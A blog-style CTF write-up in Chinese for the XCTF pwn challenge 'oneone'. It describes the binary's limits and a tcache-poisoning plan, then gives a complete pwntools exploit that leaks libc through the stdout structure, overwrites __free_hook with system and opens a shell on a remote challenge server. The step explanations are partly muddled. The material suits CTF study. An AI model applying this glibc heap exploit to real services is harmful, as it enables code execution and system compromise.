XCTF-PWN-oneone

分析

我们先checksec看下

保护全开gdb看下

IDA看到oneone程序只有Add、Del、Gift三个功能

并且Add只能申请小于0x7f的chunk。

且Del只能删除前一个通过Add申请到的chunk

看到限制了使用Add功能的次数为10次、使用Del功能的次数为4次,

然后Gift功能可以在Add功能的次数用完后,增加一次使用Del功能的次数。

利用

这段代码实现了一个基于tcache攻击的利用思路:

  1. 通过分配并释放两个0x70字节的chunk来使得第二个chunk进入tcache链表中;
  2. 再次分配并释放一个0x60字节的chunk,使得第三个chunk进入tcache链表,并且此时第二个chunk位于tcache[0x40]中;
  3. 分配一个0x70字节的chunk,并将其内容修改为“\x10\x70”(注意末尾需要加换行符),从而在堆上伪造了一个指针,指向了main arena的头部;
  4. 再次分配一个0x70字节的chunk,该chunk会占据刚才被释放的0x70字节的chunk,并将其添加到tcache[0x40]中;
  5. 修改tcache[0x40]中的计数器,令其等于7,然后再次分配一个0x40字节的chunk,该chunk从unsorted bin中获取。这里利用了tcache计数器的漏洞,在计数器等于7时,会从unsorted bin中获取chunk;
  6. 将这个获取到的chunk的内容修改为“\x60\x70”(同样需要加换行符),从而把刚才伪造的指针放入到了tcache[2]中;
  7. 分配一个0x60字节的chunk,并修改其中的_IO_buf_base和_IO_buf_end指针,将其指向堆上的位置,从而覆盖stdout结构体中的_IO_write_ptr和_IO_write_base指针;
  8. 通过第一步攻击得到libc基地址,计算出free_hook和system的地址,并将free_hook指向/bin/sh,最后调用Gift函数触发system("/bin/sh")。

Exp如下:

from pwn import *

context.log_level = 'debug'

libc = ELF('/mnt/c/Users/faze1/Desktop/oneone/libc-2.27.so')

def lg(s, addr):
    log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))

def Menu(choice):
    io.sendlineafter('Choice >>', str(choice))

def New(size, content):
    Menu(1)
    io.sendlineafter('Size:', str(size))
    io.sendafter('Content:', content)

def Delete():
    Menu(2)

def Gift():
    Menu(3)

# perform attack multiple times
while True:
    try:
        # connect to remote service
        io = remote('61.147.171.105', 54542)

        # step1: prepare for tcache poisoning
        New(0x70, 'A'*0x10+'\n')
        Delete()
        Delete()

        New(0x60, 'A'*0x10+'\n')  # preper for blast stdout 
        Delete()
        New(0x70, '\x10\x70'+'\n')  # first blast heap base  && tcache attack
        New(0x70, 'A'*0x10+'\n')

        payload = '\x07'*0x30   # tcache bin count
        payload = payload.ljust(0x68, '\x00')
        payload += '\x60\x70'  # fake ptr to mainarea 
        New(0x70, payload+'\n')

        Delete()  

        # step2: leak libc address
        New(0x40, 'A'*0x10)  # new chunk from unsortedbin,occupy the array of counts
        New(0x60, '\x60\x47')  # second blast _IO_2_1_stdout_

        payload = p64(0xfbad3c80)
        payload += p64(0)*3 + '\x00'
        New(0x30, payload)

        io.readn(8)
        content = io.readn(8)
        libc_base = u64(content) - 0x3ed8b0
        lg('libc_base', libc_base)

        # step3: perform tcache poisoning for free_hook
        free_hook = libc_base + libc.symbols['__free_hook']
        payload = p64(free_hook-0x8)
        New(0x7f, payload)

        system_addr = libc_base + libc.symbols['system']
        payload = '/bin/sh\x00' + p64(system_addr)
        New(0x30, payload)

        Gift()
        Delete()

        io.interactive()
    except Exception as e:
        print(e)
        io.close()

 

posted @ 2023-06-16 11:00  N0t3  阅读(43)  评论(0编辑  收藏  举报